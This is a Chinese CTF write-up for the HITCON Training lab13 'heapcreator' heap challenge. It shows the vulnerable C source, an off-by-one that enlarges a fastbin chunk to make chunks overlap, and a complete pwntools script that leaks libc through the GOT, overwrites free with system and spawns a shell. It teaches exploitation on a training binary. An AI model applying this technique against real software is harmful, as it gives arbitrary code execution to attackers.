1. 程式人生 > >【Pwn】HITCON Training lab13 heapcreator - inuse fastbin chunk extend

【Pwn】HITCON Training lab13 heapcreator - inuse fastbin chunk extend

本文永久連結:https://thinkycx.me/posts/2018-12-04-HITCON-Training-lab13-heapcreator.html
相關題目下載:https://github.com/thinkycx/pwn/blob/master/HITCON-Training/lab13/

題目來自HITCON-Training@Angelboy,off-by-one 修改inuse的fastbin chunk size,free該chunk獲取一個稍微大的的fastbin chunk。再次malloc實現fastbin chunk overlap,從而可以修改關鍵指標,hjiack got getshell!

題目資訊

原始碼見這裡:https://github.com/thinkycx/pwn/blob/master/HITCON-Training/lab13/heapcreator.c

程式中有一個struct heap,提供4個功能,其中edit功能存在off-by-one漏洞!

struct heap {
	size_t size ;
	char *content ;
};
struct heap *heaparray[10];

void menu(){
	puts("--------------------------------");
	puts("          Heap Creator          ");
	puts("--------------------------------");
	puts(" 1. Create a Heap               ");
	puts(" 2. Edit a Heap                 ");
	puts(" 3. Show a Heap                 ");
	puts(" 4. Delete a Heap               ");
	puts(" 5. Exit                        ");
	puts("--------------------------------");
	printf("Your choice :");
}

void create_heap(){
	int i ;
	char buf[8];
	size_t size = 0;
	for(i = 0 ; i < 10 ; i++){
		if(!heaparray[i]){
			heaparray[i] = (struct heap *)malloc(sizeof(struct heap));
			if(!heaparray[i]){
				puts("Allocate Error");
				exit(1);
			}
			printf("Size of Heap : ");
			read(0,buf,8);
			size = atoi(buf);
			heaparray[i]->content = (char *)malloc(size);
			if(!heaparray[i]->content){
				puts("Allocate Error");
				exit(2);
			}
			heaparray[i]->size = size ;
			printf("Content of heap:");
			read_input(heaparray[i]->content,size);
			puts("SuccessFul");
			break ;
		}
	}
}

void edit_heap(){
	int idx ;
	char buf[4];
	printf("Index :");
	read(0,buf,4);
	idx = atoi(buf);
	if(idx < 0 || idx >= 10){
		puts("Out of bound!");
		_exit(0);
	}
	if(heaparray[idx]){
		printf("Content of heap : ");
		read_input(heaparray[idx]->content,heaparray[idx]->size+1);
		puts("Done !");
	}else{
		puts("No such heap !");
	}
}
void show_heap(){
	int idx ;
	char buf[4];
	printf("Index :");
	read(0,buf,4);
	idx = atoi(buf);
	if(idx < 0 || idx >= 10){
		puts("Out of bound!");
		_exit(0);
	}
	if(heaparray[idx]){
		printf("Size : %ld\nContent : %s\n",heaparray[idx]->size,heaparray[idx]->content);
		puts("Done !");
	}else{
		puts("No such heap !");
	}

}

void delete_heap(){
	int idx ;
	char buf[4];
	printf("Index :");
	read(0,buf,4);
	idx = atoi(buf);
	if(idx < 0 || idx >= 10){
		puts("Out of bound!");
		_exit(0);
	}
	if(heaparray[idx]){
		free(heaparray[idx]->content);
		free(heaparray[idx]);
		heaparray[idx] = NULL ;
		puts("Done !");	
	}else{
		puts("No such heap !");
	}

}

exploit

思路:假設malloc 0x18,chunk會複用下一個chunk的PREV_SIZR,因此可以利用多寫的一個位元組,來overflow nextchunk 的 SIZE。這時free nextchunk就可以獲取larget fastbin chunk,再次malloc導致chunk overlap,可以實現關鍵指標!本題中利用chunk overlap控制heap->content,使用show洩漏GOT,使用edit hijack [email protected]為system,free一個content為"/bin/sh\x00"的字串就可以getshell。

具體的關於overlap的細節如下:

如下圖所示:申請兩次,獲得chunk0 chunk1 chunk2 chunk3,其中chun0和chunk2是儲存的heap結構體。edit chunk1可寫0x19位元組,因此多的一個位元組可以溢位0x21,修改為0x41。

image-20181204214015905

溢位後,free chunk2 chunk3,就可以獲取一個0x40和0x20大小的fastbin chunk。再次malloc實現chunk overlap。因此申請create 0x40,正好可以把fastbin中的兩個chunk申請回來,一個是data的chunk,一個是heap結構體的chunk。

image-20181204215021950

exploit:

def pwn(io):
    if local&debug: gdb.attach(io,'break *0x400db1') # main atoi
    log.info("[1] create chunk,  overwrite chunk2's size and free chunk2, get 2 fastbin chunks")
    create(0x18, "") # 0 1 chunk0
    create(0x10, "") # 0 1 2 3   chunk1
    create(0x10, "") # 0 1 2 3 4 5 6 chunk2

    payload_overflow = "a"*0x10 + p64(0xdeadbeafdeadbeaf) + "\x41"
    edit(0, payload_overflow)
    delete(1) # get fastbin chunk in  0x40

    log.info("[2] get 0x40 chunk, chunk overlap! overwrite [email protected] to content ptr")
    payload_got = p64(0x0)*2 + p64(0) + p64(0x21) + p64(0x8)  + p64(elf.got['free'])
    create(0x38, payload_got) # chunk3
    show(1)

    io.recvuntil("Content : ")
    libc.address = u64(io.recv(6)+"\x00\x00") - libc.symbols['free']
    log.success("libc.address: %#x", libc.address)

    log.info("system addr: %#x", libc.symbols['system'])

    log.info("[3] write system addr to [email protected]")
    edit(1, p64(libc.symbols['system']))

    create(0x18, "/bin/sh\x00")
    delete(3)

image-20181204235044113